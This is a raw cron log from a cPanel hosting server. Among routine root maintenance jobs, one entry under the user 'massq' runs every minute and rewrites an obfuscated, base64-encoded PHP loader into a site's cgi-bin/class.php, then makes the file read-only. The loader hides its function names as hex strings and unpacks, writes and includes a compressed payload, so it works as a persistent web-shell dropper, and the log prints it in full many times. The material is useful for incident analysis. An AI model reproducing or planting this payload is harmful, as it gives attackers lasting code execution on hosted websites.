QBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:17:01 server CROND[13792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:17:01 server CROND[13794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:17:01 server CROND[13795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:18:01 server CROND[14276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:18:01 server CROND[14277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:18:01 server CROND[14278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:19:01 server CROND[14674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:19:01 server CROND[14675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:19:01 server CROND[14676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:20:01 server CROND[15133]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 14:20:01 server CROND[15135]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 14:20:01 server CROND[15134]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:20:01 server CROND[15143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:20:01 server CROND[15139]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:20:01 server CROND[15144]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 14:20:01 server CROND[15141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:20:01 server CROND[15138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:20:01 server CROND[15140]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 14:21:01 server CROND[15981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:21:01 server CROND[15983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:21:01 server CROND[15982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:22:01 server CROND[16356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:22:01 server CROND[16357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:22:01 server CROND[16358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:23:01 server CROND[16825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:23:01 server CROND[16826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:23:01 server CROND[16828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:24:01 server CROND[17206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:24:01 server CROND[17207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:24:01 server CROND[17208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:25:01 server CROND[17589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:25:01 server CROND[17588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:25:01 server CROND[17591]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 14:25:01 server CROND[17592]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 14:25:01 server CROND[17596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:25:01 server CROND[17594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:25:01 server CROND[17595]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 14:25:01 server CROND[17593]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:26:01 server CROND[18418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:26:01 server CROND[18419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:26:01 server CROND[18420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:27:01 server CROND[18792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:27:01 server CROND[18794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:27:01 server CROND[18793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:27:01 server CROND[18795]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 14:28:01 server CROND[19254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:28:01 server CROND[19255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:28:01 server CROND[19256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:29:01 server CROND[19635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:29:01 server CROND[19636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
